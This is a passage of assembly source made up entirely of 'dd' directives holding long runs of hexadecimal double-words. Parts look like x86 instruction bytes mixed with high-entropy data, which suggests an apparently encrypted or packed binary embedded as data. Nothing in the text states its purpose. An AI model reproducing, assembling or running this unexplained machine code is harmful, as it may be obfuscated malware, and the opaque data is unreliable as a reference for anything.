265993BCh, 87C1A7C4h, 1D87CE05h, 6DCF4809h, 84C22250h dd 9E3B80Ah, 1670B911h, 9DB43739h, 6492F456h, 73564A0h dd 0A9E6C017h, 49884C7Ah, 0C426F01Eh, 0DA83F227h, 5D9AC300h dd 0D436002Eh, 0E8135137h, 37ABE5CBh, 0C981C589h, 0F153C916h dd 1FFA1F4Eh, 24D96651h, 0CE0BCF87h, 0D6386BA5h, 3D38D9A8h dd 0CFC7B26Eh, 0ACCE40h, 0C2940000h, 672B5984h, 9CDFB2Ah dd 0AC709ECDh, 9A12406Fh, 85332A4Bh, 16C91AC1h, 4FF557CDh dd 21651334h, 0AD16C91Ah, 10659A37h, 387E2C4Dh, 0C616C91Ah dd 89B8F450h, 0EF4915Bh, 0DBCD56D0h, 5F20BB3Ch, 3294F621h dd 0FEC06E8Fh, 16C99Eh, 0C1F42E8Ah, 852CC993h, 836619Fh dd 0A8D60944h, 6E3D38D9h, 40CF51B2h, 58CEh, 84C29400h dd 28672B59h, 1D01BEAEh, 0C9212F6Fh, 8839AF16h, 0B315E877h dd 5883C185h, 0F82B662Ah, 2E619Ch, 623C3988h, 20DC0B52h dd 0AD14255Dh, 552055F2h, 0C9E6114Fh, 22D46D9Ch dd 0E968AB73h, 86C21E4Ch, 0B0912957h, 616C91Ah, 731D8EE7h dd 6D40CFD7h, 1, 63A17B33h, 78B59B38h, 36101B49h, 472DCAF9h dd 0C8ACDA0Dh, 5F392451h, 7359F621h, 0B1EA0736h, 9846E959h dd 1C31F50Bh, 0EB1A5630h, 53F66C4Eh, 78472524h, 0DAAC7E2h dd 0D5579155h, 42095332h, 683FF0FAh, 0D919E303h, 0CFFC197Bh dd 0EB88BBF5h, 649ECB05h, 0D7390331h, 414F11A9h, 549B1320h dd 41C18533h, 8EC91320h, 0B632D5Bh, 0B2C3F895h, 6885B8F2h dd 0DBC64882h, 1D4887F1h, 8BD6E96Ch, 5FC1F42Fh, 336D31h dd 0C88E3C5Dh, 0D6132078h, 1B0BC360h, 7CAFEAC4h, 0B2E7844Eh dd 81C09AC3h, 29642856h, 9CFEC8F6h, 0ACDF19FFh, 0C1F42F09h dd 306DC993h, 0DEBD6401h, 4526B532h, 1162Eh, 176FF400h dd 0FD5604A7h, 291C3209h, 87C185B3h, 17513754h, 0D1ABB6E4h dd 703A6893h, 86B3EDD3h, 21EB194Ch, 4AA191BFh, 0D8063170h dd 393C710Eh, 0E1FE316Bh, 26E65E02h, 565245h, 6F180000h dd 0E203A618h, 0C91A7234h, 69067C16h, 19188E3Ch, 0BADB16C9h dd 0C91A4A0Ch, 82DE5416h, 9B7D1A41h, 1A7036E4h, 87E16C9h dd 0ED2903A6h, 29C690BEh, 1A95D971h, 6B0816C9h, 5924530Ah dd 0FD5BEC4Eh, 0C639C39h, 0D549F79Ah, 5916C922h, 84E8C6E3h dd 28000000h, 4AE54C7Bh, 7F4EDD48h, 0E151A9E2h, 968B903Eh dd 66401C32h, 97C60227h, 40B69835h, 0A26B6E9Dh, 614FC3C2h dd 0E0010CC4h, 20D36C32h, 5FFC7213h, 0EF0C3F79h, 7EA9E8C2h dd 3E98650h, 0D06896C9h, 1320D331h, 0A10372C1h, 0DE173467h dd 0C5731686h, 19D13CECh, 0D296C43Ah, 53376598h, 60B899DCh dd 0EB8C5CA1h, 0BA165E64h, 4AED4F7Eh, 216DB79Ch, 0D679EF1Ch dd 6290BFFCh, 0D449E798h, 262346E4h, 6FB4E289h, 0D504A717h dd 5D31FEDAh, 719E3B03h, 0C377650h, 0BD7714DEh, 1C385994h dd 232E5CD2h, 2FE00B49h, 4FFC9C51h, 0CAB04D19h, 5A405D90h dd 27BFED20h, 1052860Fh, 0D97DE01h, 0DC305FD3h, 0B3F57197h dd 77236393h, 35AB1C60h, 710130D3h, 8E71C02Ah, 1E78E2Bh dd 0A26694C7h, 0D1FC3A67h, 73A2DFA3h, 4978B511h, 5ED5B9E7h dd 0D1538D17h, 6221C0D2h, 17A9B114h, 501FB667h, 987E9BFDh dd 41FD2B5Eh, 3, 0C233A181h, 692D5B82h, 0ACEFC2Fh, 0AE72A0CBh dd 5418466Dh, 0F9BDEB16h, 9E6290BBh, 3E023063h, 0E0A4D201h dd 864775A4h, 5A2568h, 240C8900h, 1DA968h, 24048900h, 52AE68h dd 24148900h, 4B83B951h, 0B7B87A0Eh, 18BE1D9h, 240C8BC8h dd 8104C483h, 4ECh, 24248900h, 4240481h, 5A000000h, 0C3895355h dd 895BDD89h, 0FF5D086Ah, 815A2434h, 4C4h, 24048B00h, 5E08950h dd 4, 8704C083h, 0E95C2404h, 0FFF955B7h, 0B855EE31h, 5F029D7h dd 0E0FFC503h, 71D5336h, 4175D2C9h, 473FF105h, 3807EBC3h dd 70B7C664h, 6ADC6085h, 648009A1h, 33F8F78Bh, 353644BEh dd 5E2A91Ah, 3A4981C6h, 151BB378h, 61352786h, 613D4D46h dd 5264662Dh, 67C369C9h, 54356A2h, 30BC0CD3h, 22D36FBDh dd 4CFDFCACh, 423D4EF3h, 0EB5C2F0h, 474FB3BAh, 0DE8h, 0C1F71C00h dd 76B120B9h, 243EFA44h, 0E852AE3Eh, 10h, 9F2AD753h, 4B155321h dd 0E05A83BAh, 5C6137C2h, 5F5B5B51h, 13E8565Eh, 25000000h dd 0EFAAAEh, 9A66995Bh, 0DA073A8Dh, 7436998Bh, 0AE920B7h dd 9A000000h, 1B95900Ah, 0BFB72977h, 815B59D9h, 58D7C6h dd 6E900h, 859D0000h, 6D96080h, 1600BAh, 0CE900h, 0AFFA0000h dd 84685A7Bh, 0F21B4A1Fh, 36FFB79Eh, 58C9BF0Fh, 0C4AEB81h dd 0C0811DF6h, 8255A7Ch, 1FE6F381h, 0C081758Bh, 7FEBF6DBh dd 608AC081h, 8B6665D9h, 810689FEh, 0CC5406EEh, 8198B564h dd 0CC5402C6h, 830F5064h, 15h, 10E9h, 0B05A3300h, 0F37EDB90h dd 0C7F7F2AAh, 1EF0B7C4h, 0EA815997h, 1, 0FFA0850Fh, 69B1FFFFh dd 0EDE9h, 8C666000h, 0F04A8D8h, 0DF84h, 0A1B58B00h, 8305E92Eh dd 850F00FEh, 22h, 0EE585C6h, 684505E9h, 8E726969h, 2345B5FFh dd 858D05E9h, 5EC7A6Fh, 8589D0FFh, 5E91761h, 3E80F08Bh dd 31850FE9h, 8D000000h, 0EE7BB685h, 8BD0FF05h, 0E91D19BDh dd 84C78105h, 8B000011h, 0E92EA1B5h, 0B9F78705h, 8, 0B58BA4F3h dd 5E92EA1h, 2B6B858Dh, 0D0FF05EDh, 3039B58Bh, 0FE8305E9h dd 22850F00h, 0C6000000h, 0E90EE585h, 0F4685405h, 0FFFF4EBEh dd 0E92345B5h, 6F858D05h, 0FF05EC7Ah, 398589D0h, 8B05E930h dd 0E93E80F0h, 3A850Fh, 0B58B0000h, 5E93039h, 7BB6858Dh dd 0D0FF05EEh, 1D19BD8Bh, 0C78105E9h, 1184h, 8B08C783h dd 0E93039B5h, 0B9F78705h, 8, 0B58BA4F3h, 5E93039h, 2B6B858Dh dd 0D0FF05EDh, 858DC361h, 5F02B8Ch, 16D58589h, 4EB05E9h dd 47AE0A14h, 4FCE9h, 0CBF23200h, 5D8CC8AEh, 0EE1D5A40h dd 7DB0EBD1h, 113C7A60h, 0C8F2F0F4h, 5C425F8Ah, 0F1D7F41Bh dd 846A87B2h, 2DFA174Ah, 36D89E4Ch, 8DE61339h, 5588C2AFh dd 0FA256327h, 90BDF7DDh, 30FA284Fh, 0A2DCA0CEh, 0D9073A75h dd 0BB7FAD0Fh, 1422507Fh, 0E62084F1h, 0F93610B3h, 3326ECAh dd 0C76E0BD5h, 0D477A2E1h, 6290BBFAh, 0D2FD3C98h, 963DDAA4h dd 184671B0h, 0BEEC1354h, 4B1263DAh, 1A3A7C2Ah, 4EC416C9h dd 678CCBB1h, 0B8D1FF26h, 0B789B034h, 0A103651Eh, 31649E84h dd 0E11EF803h, 665B15B2h, 9C16C902h, 0E902305Fh, 55666DC7h dd 99D7337Dh, 0D26F406Eh, 98C301A3h, 163EA06Ah, 632D7EF7h dd 7140CF6Dh, 0FB295C97h, 47739431h, 39000000h, 275588C2h dd 0C91ACD8Fh, 8FE60516h, 0CFD7741Ch, 4C866040h, 15B7C19h dd 21000000h, 0B45786C2h, 0D06DA0DAh, 0E9185418h, 42B6C46h dd 0B0EBAF67h, 1AC88E3Ch, 60D616C9h, 9FC2D0FEh, 6392CED6h dd 0F3266046h, 84C2A8D6h, 9BDCB659h, 5B1FD774h, 0D2C2F01Fh dd 3366A17Bh, 90146196h, 0C4EF2D52h, 1A337321h, 45BB16C9h dd 0A6E0C6E3h, 44814573h, 7718E715h, 0D5F3ADFEh, 900D40CFh dd 0D3000000h, 0E862A17Bh, 3B73AFDAh, 0C9F75973h, 3E7C62FFh dd 0E421E513h, 5E7987B5h, 0A6CF8F3Dh, 59CF16C9h, 0B6EE87BCh dd 0E6195378h, 0BFFFADB8h, 3F16C9A6h, 0CA0B67C9h, 49AB75A3h dd 0EA25FF2Ch, 22BF89B7h, 0A5D3FE3Ch, 3C79A6E1h, 0AE7DAB0Dh dd 8D43680Dh, 0A340CF69h, 58h, 2453906Ah, 0A893D381h, 0A51B16C9h dd 84C2DA08h, 28672B59h, 857CFFDh, 8DF9376Dh, 0C91A9FDFh dd 0B0DF1B16h, 0EA60B882h, 643E6B88h, 8CCFA25h, 0A7719FCAh dd 0C27AA845h, 91295786h, 16C91AB0h, 0CF8EE706h, 5490B9F5h dd 0CB2DF725h, 0D7814F2Eh, 19F40CFh, 65000000h, 671585C2h dd 16C91A27h, 2CCF31A7h, 4BE81352h, 1395CF93h, 661457B7h dd 16C98B20h, 558738AEh, 0F295F77Bh, 7CAADD18h, 0AF83C371h dd 950B16C9h, 0FADE9633h, 4873B18Bh, 0A5FF76ABh, 44AF868h dd 8A16C9AFh, 8E30BFC5h, 0D2346384h, 4C265370h, 0D46E30Eh dd 0F4A245B5h, 1C31486Fh, 538724Ch, 0E2108668h, 94B1E41Eh dd 0C4774AEh, 4674A3DFh, 81BE1A7Ch, 2AC2F052h, 13208266h dd 0CCFA2D68h, 0AD5BCB08h, 132082E9h, 0EF1D7FF5h, 0C9D5A0FFh dd 5A9872B9h, 9A37012Fh, 5A941065h, 96C4EF2Dh, 674D6ACCh dd 8CCFA2Dh dd 7D6D9BCEh, 134D571Eh, 3CE4C3E0h, 3445264Fh, 138h, 0A7176FFAh dd 14C2E304h, 16C91A52h, 0C2F01758h, 8D2AA0F8h, 32097ED3h dd 8F32A81Ch, 2BFEC06Eh, 8A001320h, 377135EDh, 0C701E704h dd 68A26694h, 0B8170735h, 7AADE7BDh, 7D87B6D7h, 8913D004h dd 19551949h, 0E3591320h, 98729F46h, 0B4933057h, 4526D4ECh dd 0B0E31EF8h, 567DBE82h, 0A0FC5E28h, 74953265h, 4Ah, 65186F3Ah dd 0C91AF7B7h, 1F81F716h, 45815B7Ch, 811EE816h, 0C91957C7h dd 3361D716h, 0E3124E28h, 1ACA8C46h, 92D016C9h, 34753967h dd 1867DF0Dh, 3BD8415Dh, 54C0173Ah, 0E588EA15h, 0C919A737h dd 1431A716h, 8736h, 176F7600h, 555604A7h, 0E11C321Eh dd 0B0EEC86Bh, 2530E885h, 0EA6FA4F6h, 5DCB7CAFh, 7C62FF6Dh dd 3D6C0F42h, 7485354h, 37E8B2E0h, 0BD5AC6B0h, 0C9F63016h dd 0CCFA5C8Fh, 203ACD34h, 670E5D13h, 0B3D0033Dh, 0FB2227Ah dd 0D1DE9A61h, 6B4D519h, 16D01640h, 3E7CD84Eh, 7E1BE513h dd 0C2ED2C9Ch, 0A4E3BD60h, 6628D679h, 6816D016h, 0D99D55F2h dd 5A3E6C9Fh, 67BF92E3h, 67A654F7h, 6B1C21F2h, 6492BDFBh dd 0ED1B389Ah, 4A7176Fh, 38FE9756h, 6CAB1B1Ch, 0EDB1DF41h dd 7D6380B3h, 4AE21043h, 0DD5323F1h, 3A1D4F7h, 0C10047C9h dd 3C7B3BE9h, 0D835167h, 3E8025Ch, 194C28F9h, 77D93B6Ah dd 5E0C2D5Ah, 5167B118h, 0AD9330A6h, 4E124073h, 0EEB2E013h dd 935785B0h, 0AFA2857h, 9CDACAABh, 24930F71h, 3FDC0F4Ah dd 0FF396B0Ah, 8FC9AFCCh, 14722E5Ch, 0B2000000h, 651334A1h dd 16C91A21h, 0CA8637ADh, 0EAE22355h, 0C2B5E380h, 692D5B82h dd 0ACEFC2Fh, 0AE72A0CBh, 5418466Dh, 0F9BDEB16h, 9E6290BBh dd 3E023063h, 0E0A4D201h, 864775A4h, 108E68h, 241C8900h dd 5E08950h, 4, 8704E883h, 895C2404h, 1168243Ch, 89000054h dd 9068241Ch, 8B05F02Ch, 0C483243Ch, 7656804h, 24890000h dd 24048324h, 0B9515B04h, 8, 8F57D901h, 34FF5901h, 0C4815B24h dd 4, 5F2434FFh, 4C481h, 6CE90000h, 98FFF94Eh, 312BB8D4h dd 0C50305F0h, 0D7D1E0FFh, 54584FE0h, 9EDF625Bh, 92E47114h dd 761302DBh, 0A3310203h, 8D8D7B02h, 5F03253h, 0E853006Ah dd 3, 5BC35B20h, 4245C89h, 4244481h, 15h, 4AC35343h, 816653ABh dd 5F937CEEh, 26558D89h, 0CF8005E9h, 585C739h, 7005E908h dd 8900005Eh, 0E928B1B5h, 3D85C705h, 5E916h, 6A000000h dd 3E85500h, 20000000h, 895DC35Dh, 8104246Ch, 1C042444h dd 45000000h, 0FED0C355h, 2996DBE8h, 0F3BD3A0h, 68Ah, 519D8900h dd 0FF05E930h, 0E903F5B5h, 0BDB58B05h, 0FF05E91Ch, 0E90BC595h dd 0BE905h, 6FF0000h, 0B15A5AFDh, 0DDBAA568h, 0FF006A39h dd 0E91E9595h, 0EBC08B05h, 97B5D90Dh, 0DBCF5F87h, 875E5B1Fh dd 4EB122Ch, 6285DF17h, 0D4FE9h, 344A6800h, 7CE905F0h dd 68FFF94Dh, 5F03576h, 0F94D72E9h, 37C268FFh, 68E905F0h dd 68FFF94Dh, 5F0390Bh, 0F94D5EE9h, 3BF168FFh, 54E905F0h dd 68FFF94Dh, 5F03D69h, 0F94D4AE9h, 3E3668FFh, 40E905F0h dd 0CFFF94Dh, 0A288A5CCh, 341A3766h, 0C5ABC8F7h, 543A578Ah dd 0CACEEB16h, 3964A218h, 0CEF5361Ch, 618CCBB1h, 0F1245E44h dd 782607D4h, 13392836h, 0A8825FB8h, 73A13E69h, 0EAAC5A7Bh dd 0F416C91Ah, 0EC1A4584h, 2564C022h, 3D775DFAh, 0DE18DC0Ah dd 98727DABh, 0A98F2C5Bh, 2D113F6Ah, 0ABE5BFB6h, 37755B78h dd 0CF09EF0Ch, 70AA6E9Ch, 0C4F3203Dh, 0AD5BF1F8h, 16C931E9h dd 72CE7FF5h, 548D2AD3h, 0FE98CFCh, 0AA74A2D5h, 47155907h dd 239916C9h, 22AB5986h, 0E11C327Eh, 33BA82B2h, 12AFF9EDh dd 0F48CBA30h, 132025CEh, 9ECCF334h, 43719CDAh, 1D81F453h dd 0FD6015B6h, 2346CACEh, 29C62824h, 26D6864Ah, 7AB48E45h dd 3189AA47h, 4F000000h, 4A7176Fh, 32294D56h, 0A043B91Ch dd 266388C6h, 9DFFC9F7h, 3F6EAB6Fh, 48E54711h, 0BCAF890h dd 8C2D1320h, 0C61EC2E9h, 0ED124526h, 0D8000000h, 661488C2h dd 16C91A20h, 0A8D638AEh, 4D7BA6E4h, 276842h, 10437D63h dd 0B1E41EE2h, 16CBDA94h, 114B16C9h, 0A1DBC1DEh, 0A6083774h dd 9C07D403h, 3F3B59F6h, 7BD3EAA2h, 7BA9D011h, 0D2AC4FB1h dd 47181795h, 746C1673h, 9A487512h, 1C313221h, 0E514502Ah dd 6E50EDB7h, 4AA2DBF8h, 858937DAh, 3E19C674h, 887F250Fh dd 417E9CD4h, 3113B012h, 3E18BBh, 0F01132D5h, 0CB0C7C42h dd 0DC0C8216h, 16CB0C9Ah, 6A11AE24h, 0EA1B4684h, 6F69AE8Ch dd 0CB07C3BBh, 7800000Ah, 0EF41138h, 0A086A3D2h, 31173463h dd 0C0A6C3F6h, 363A5782h, 9DC806ACh, 32599A80h, 0C5F02F15h dd 5588C2A8h, 0DC8A6B38h, 13392E9Ah, 7BEDCB24h, 1742805Ah dd 0C91AA7E7h, 14B12716h, 0A8C5F02Eh, 385588C2h, 84F4310Bh dd 0C91A90D6h, 46A81E16h, 83B14E18h, 4A7176Fh, 5170B4E3h dd 4B27FCC5h, 2D4E7AFFh, 4CE94B9Fh, 32319192h, 517FF51Ch dd 201389B9h, 284DEE13h, 0F01F5B35h, 0DEAC7453h, 0EAC44526h dd 8A000000h, 0B25588C2h, 427097D8h, 1AC58937h, 53C916C9h dd 919C54F1h, 1AFCC270h, 8C0216C9h, 0A0CB09EFh, 4C8D6772h dd 902DF725h, 0C916CFD6h, 0E2154F16h, 0F82B653Fh, 0BC6300CAh dd 3B699CD6h, 0B95CCC24h, 1EA4EA98h, 0B42A16C9h, 0EFC9EA17h dd 1F4E8BB0h, 0D56620BDh, 211C31F3h, 0FD558EABh, 3DD89E4Ch dd 70E61320h, 469887BFh, 9AFCA05Ch, 5CF649F7h, 17F119C6h dd 2C0EABDAh, 0F83913B6h, 0A4DFA3D1h, 45720F71h, 5F022D6Bh dd 35859830h, 77D3F035h, 0C76E0B3Ah, 4778A3E1h, 6F697DEFh dd 9FAA665Eh, 4C000009h, 0E2C8E50Ch, 745A77A6h, 5EB0837h dd 947A97CAh, 0A0E2B56h, 79A4E2D8h, 0E35765Ch, 0A1CC0BF1h dd 31649E84h, 0B8664714h, 13392FF6h, 0C2C19FF8h, 0FA235F84h dd 986290BBh, 0D1B7D436h, 1A476497h, 38D50440h, 5588C20Ah dd 21FB1C27h, 0C589B9E0h, 0C916C91Ah, 96D0B653h, 0EA194663h dd 97BCF76Dh, 2EE885BCh, 16C9E214h, 0E401346Eh, 5B97C4FEh dd 0D89CCA2Ch, 0B9B41C9Eh, 0D402316Eh, 26BE590Ah, 5C4C7ADCh dd 0F22C78FDh, 1B8ED07Eh, 0A01016C9h, 74D6385Fh, 82FB2A57h dd 618EC1C5h, 60300FACh, 8040CF00h, 0C4h, 336D47h, 0D1EFAF5Dh dd 79EF16C9h, 4C7BAEDCh, 6DCC5E79h, 0BE6C0FCEh, 16C930F8h dd 0BAF39006h, 0A14FF262h, 1C321BE4h, 99C805DFh, 76A41AFCh dd 0DA9C4A6Bh, 0E0132029h, 7F4977A2h, 1855B127h, 0B0924CE9h dd 0C7132029h, 0B45C4F26h, 0AC4526E0h, 70h, 1AD5EE72h dd 82DA16C9h, 50C16F12h, 961C322Eh, 0DF1D0320h, 0FB3711B4h dd 37D49ECCh, 0A010687Fh, 0B9E423FDh, 0E441EF1Ch, 0EA19DB32h dd 32715774h, 6AC2D907h, 642857FAh, 2749B9F1h, 0CF7DAA47h dd 1C325CCEh, 837DA50h, 0D11115BCh, 0C8BE6F72h, 18098109h dd 36630AA7h, 67ED1407h, 88250C47h, 549AAh, 1CCAEB00h dd 1320D15Ah, 2351EE64h, 4A7176Fh, 322A4D56h, 3F6E1Ch dd 0B5E42072h, 6525C704h, 0CD70E6C8h, 0E885B8F3h, 69AA9830h dd 2CCD1320h, 0A0BE6249h, 0FB24526h, 79000005h, 6570844Ah dd 0C403839Fh, 6C9A3799h, 0DEFF5084h, 0C91A6E30h, 57FA7016h dd 0C91AE5A9h, 0D673E916h, 32D5459Dh dd 321C6384h, 0E731601Ch, 0FDE15623h, 82CEF6A7h, 57DF457Fh dd 3362D8BAh, 0E752869Dh, 6DDD35B5h, 0DA88A9CAh, 0BAE57294h dd 0F1B5631Ah, 0FDBAE572h, 0CE882587h, 0B01E4431h, 0EB1E5832h dd 5697F3BDh, 9A37012Fh, 0FDEBF3B8h, 5A913A5Ah, 5BB3CAF8h dd 6295D0AAh, 743A6A34h, 7ABF0C04h, 51FFA204h, 0B5F04E22h dd 2E4FF268h, 702A30FFh, 9C520336h, 391FBC50h, 82AFCCFFh dd 0A34067A8h, 1F5083BDh, 0C341E375h, 5308C4BCh, 7, 967C99C0h dd 280E2B5Ah, 0B99FBCEBh, 482E4B7Eh, 0BEC2DF0Ah, 25508E24h dd 0BAE12208h, 4D78B79Dh, 0DD104A30h, 6412F3C0h, 13392D22h dd 0C27553ACh, 0F01F5B88h, 0D511EB8Eh, 7B5F78A6h, 9E64D25Bh dd 6D25C224h, 9F4DFE56h, 16C9C2DFh, 640769DFh, 0E8264B8Ah dd 632D5BBDh, 6EEB99C6h, 0E81C312Ah, 0B6F5CF72h, 20416E8Bh dd 20E52C72h, 9F3CB213h, 14557AB9h, 0EE88BEDh, 4B03A0D3h dd 20E5F3B3h, 0D51F2313h, 0B8101320h, 6F76A548h, 0EA15DEB1h dd 0CB79A643h, 19DB00D2h, 2243E65Ch, 0B0E00748h, 16C928EEh dd 25DD7AF0h, 0D601401Ah, 28437F39h, 82BF16C9h, 24612553h dd 0C603C7F5h, 0D1A41B97h, 0B0C566CDh, 90677EADh, 201678E6h dd 0B5FCA483h, 2AF440CFh, 0BA000000h, 6CAD176Fh, 9240E345h dd 1C322359h, 0CCFB3812h, 5537D49Eh, 27623CDFh, 0D4105B3h dd 0D74D1320h, 6420D875h, 31h, 0AC5A7BA4h, 16C91AEAh, 0A8E17EF4h dd 1C3DE050h, 1A094DFBh, 1F9516C9h, 13A3C882h, 3CF31C32h dd 201DC88Eh, 59267D13h, 0D80E3225h, 7AA80A80h, 5B88C26Eh dd 88B7F320h, 0CC2EF826h, 6BC4F79Bh, 823E366Fh, 60Ah, 335077B7h dd 0C5E2114Dh, 5673A2DFh, 0E5023570h, 7996C1FFh, 7456D75h dd 98D9BFDCh, 2F6E5471h, 0C701E704h, 0C9AA7794h, 39235B1Bh dd 2C0A6313h, 6CAD176Fh, 0EB4D1745h, 1E8D9A48h, 1B911C32h dd 0BCEF29EDh, 1C5CE59Fh, 305F3879h, 5CBF562h, 9CDB3796h dd 0DC794371h, 0BDDA4CA3h, 19BC2C84h, 6529D7F8h, 65346B0Ah dd 2FA5FD24h, 3B3D892h, 3E033E90h, 431A12B3h, 81AF1197h dd 5C0381BDh, 9CC3047Ah, 0D9F3A46Eh, 3C59BB39h, 0F7ECAB03h dd 0BD8656EBh, 0A0C164C6h, 0BB588BC6h, 795AE401h, 0C6F46A3Bh dd 6B72142Eh, 0B3C26334h, 6DBB28F8h, 1344862h, 0E00F0000h dd 6F1DA530h, 62902D2Fh, 6CAD176Fh, 0EB4D1745h, 3DF82748h dd 0A72E103Ah, 6E7731CEh, 0F01C329Eh, 4E884C7Ah, 53B5E421h dd 1EDA0936h, 733DEF49h, 9BC2035Fh, 2006A36Dh, 0ED85B3E6h dd 3879AD54h, 70344164h, 9ECD0936h, 0FF391F3Ch, 0BD069ECCh dd 0A51F3297h, 0EF225C36h, 93BEFDC1h, 165F9431h, 421548Eh dd 83B1E41Eh, 345F9E78h, 99095E97h, 26C92B5Eh, 0AFEA0B4Ch dd 28EC1A7Ch, 0BD5ABCEBh, 2D4E6F90h, 20A73F7Fh, 1949BF13h dd 1320A755h, 8C46E359h, 1320A7AAh, 6194CFA9h, 0C96CE2C4h dd 0A7B4FAA8h, 0FA361320h, 0A1FD73CBh, 3C063467h, 67BFF89Fh dd 0C5A654F7h, 1119DB96h, 29D7F89Bh, 16C9B865h, 9E56F369h dd 0CA6DA0DAh, 5482B5F0h, 6046ED8Ah, 2DC5F326h, 16C9B871h dd 1193E259h, 0CD87A4D7h, 0EA9DB06Fh, 0B7873968h, 2555A46h dd 0A386BA6h, 136AA340h, 649E84A1h, 7AB48E31h, 94165806h dd 2298629Dh, 0D36B23C0h, 0E8DFFA63h, 693B3A5Dh, 0F9DFFC2Fh dd 535E8CBFh, 710E3D79h, 0CD70E038h, 2133BE1Fh, 6D8A00EEh dd 3E8Fh, 176FCF00h, 9E304A7h, 46009DCCh, 1C322395h, 0B97DAB21h dd 0F6314E7Dh, 90E5DB6Ah, 0D0C47DCBh, 9BFD3A5Fh, 8B6D7F8h dd 13206E46h, 56A3F7EFh, 9EF66D56h, 85D18B28h, 91320BCh dd 7BBE0093h, 73E466A1h, 0FCB7C28Fh, 7B4573D5h, 91BEF8DEh dd 0EBF62457h, 0C92D793Dh, 0AD0F8516h, 9DF52E4Bh, 93DC8A2Dh dd 0D01C321Bh, 0F08DB8F6h, 0C6F5980Eh, 96E26B0Bh, 2C59F60Ah dd 0CBE81352h, 4D7BA6E5h, 0CB6EDE36h, 97BAFCAAh, 7F441320h dd 509A22B3h, 19E0071h, 41A526D4h, 3BB119D8h, 0BE4D750Dh dd 0A6216C9h, 5C49F79Ah, 0E21C32A8h, 9CA63E6Ch, 0DB132080h dd 0A0703B3Ah, 0C045264Dh, 22h, 58176F86h, 25D33148h, 16C97061h dd 6F46F76Dh, 8AB0DF3h, 321F815Ah, 719F151Ch, 0EB5h, 176FF500h dd 355604A7h, 811C3213h, 0C2D1DD0Bh, 6E245588h, 0DD6F6BC5h dd 32429E5h, 91D10000h, 2B674D6Ah, 0BCF9DFFCh, 4F8A708Dh dd 0DB19FF1Ch, 538F93B0h, 0E1FE2967h, 7693BAFBh, 9265190h dd 99B6E923h, 793DEBCCh, 85133921h, 88C24E2Ch, 1A206614h dd 38AE16C9h, 44729DDCh, 9B75187Ah, 783EEC60h, 8616C91Ah dd 5911AE10h, 0B285B95h, 48CA04DEh, 3D4CAEF1h, 5AFD5F93h dd 0C986EAACh, 0E17EF416h, 3DE050A8h, 86286E1Ch, 71B216C9h dd 0FA521C4Ah, 0CBAE784h, 1C32BF83h, 9872158Bh, 0D68E2B5Eh dd 2090043Eh, 10437E13h, 0B5E01EE2h, 87B66E87h, 0E6F62497h dd 1C82F36Ah, 0FC6114B5h, 19B6E522h, 26E3963Ah, 358A45h dd 6F500000h, 5604A717h, 1C32294Dh, 7D1543B9h, 13200B45h dd 225083BDh, 0C3F1245Eh, 910D68DFh, 71EC892Ah, 4253542h dd 3EDB3839h, 262AB15Fh, 0CDAF45h, 0C2750000h, 83B25588h dd 7483F230h, 1DCDC7EEh, 0C8ECBE6Fh, 217A2A5Dh, 0FF61FA83h dd 0A8E6AA62h, 518B4F7Dh, 0BE5F01Eh, 2006A3CAh, 0DC96B3E6h dd 16C920C5h, 39DC0F49h, 0C8F6215Fh, 3467A2FEh, 0F89F3C06h dd 2A5D812h, 20BDEC28h, 89F95168h, 0A3CE0CE6h, 822BD906h dd 0CC1C3227h, 0FE84B356h, 101A4FC0h, 0E9AEABF1h, 253E6738h dd 50A8E188h, 0A48F3DE0h, 0EE19C6E8h, 0BDFBD578h, 19487592h dd 9F5A3DEBh, 3A20BD5Eh, 10A0D1FCh, 5F6F68ECh, 1ACAB67h dd 19590000h, 0B3EFD5F2h, 44816784h, 0D712F815h, 63A187A4h dd 0CB171B38h, 6986B1EFh, 0FE1B4283h, 91AED918h, 213E71ABh dd 81C57354h, 0D133927h, 84C2D6B4h, 1C563C59h, 6F9ECCE9h dd 5604A717h, 1C32294Dh, 7D1543B9h, 13200B45h, 476411B2h dd 4526C699h, 0AF97h, 88C25D00h, 25632755h, 6694C300h dd 740C3A9Ch, 16C9166Dh, 6784B7F1h, 0E6144781h, 640777CFh dd 1ED19543h, 6DDD16C9h, 3A00231h, 118F28D6h, 18CF1C32h dd 201B246Ah, 0D234AA13h, 0B4247CB5h, 7C42F011h, 8213201Bh dd 77A5D812h, 81AE4BADh, 0C684DBD3h, 4AED6319h, 0EA073270h dd 654CC604h, 6C7CC886h, 90BEE526h, 0D10264C6h, 6F68F94Fh dd 0DFEAA69Eh, 8C000000h, 2208254Ch, 0B49AB7E6h, 452B4877h dd 0D4BAD70Ah, 4A4E6B96h, 0B9E42298h, 4E75B69Ch, 0E10C4B31h dd 71A4DEC4h, 0F8A68754h, 133924B6h, 0C201DF38h, 563C5984h dd 9ECCE91Ch, 0DB324C7Bh, 1B88013h, 0C9E01353h, 0C3259B16h dd 78CA0912h, 3A092FCh, 82B0E31Dh, 355C9D77h, 4578B298h dd 0E9CCFB28h, 9C303CACh, 7FC33E4h, 2B51714Fh, 8DFD558Eh dd 0C25D3CEAh, 2FA51C39h, 0D0033D01h, 185E0C2Dh, 0A61339E2h dd 9FDF8D30h, 1F1339E2h, 38650CA9h, 0AB205C09h, 69066414h dd 0E8164983h, 4D0A4150h, 1D587BF8h, 0FD1A4D87h, 7AADD17h dd 22BFF22Dh, 903E5F6Ah, 744C4ACEh, 0D7BD5AD0h, 573B699Ch dd 0D50F95E0h, 77E28453h, 0DE40915Ah, 6EA1DBC1h, 88440h dd 7BC40000h, 963366A1h, 82C2218Fh, 2F692D5Bh, 0CB0ACEFCh dd 6DAE72A0h, 16541846h, 0BBF9BDEBh, 639E6290h, 13E0230h dd 0A4E0A4D2h dd 68864775h, 1CABh, 68242C89h, 5B99h, 51242C89h, 0C181E189h dd 4, 8704E983h, 895C240Ch, 51502414h, 4C0557B9h, 0D9E9816Ah dd 81642A5Ch, 7561E3C9h, 87E98179h, 81459D65h, 962508F1h dd 0BAE9810Ah, 892D5E6Eh, 0C58959C8h, 4EC8358h, 81242489h dd 42404h, 685A0000h, 7C06h, 8F242C89h, 34FF0842h, 0C4815A24h dd 4, 5D2434FFh, 4C481h, 3CE90000h, 9CFFF940h, 7349FF7Fh dd 0F03F3AB8h, 0FFC50305h, 52A608E0h, 0BCD5841Ah, 2CFABF4Eh dd 855A4C24h, 0FA04EB20h, 0E9522D06h, 4E0h, 5B789FDFh dd 0ED0A3975h, 7E9BCA07h, 0D2A5D98h, 0A1BEE927h, 2F6D459Dh dd 0C001E704h, 57967C99h, 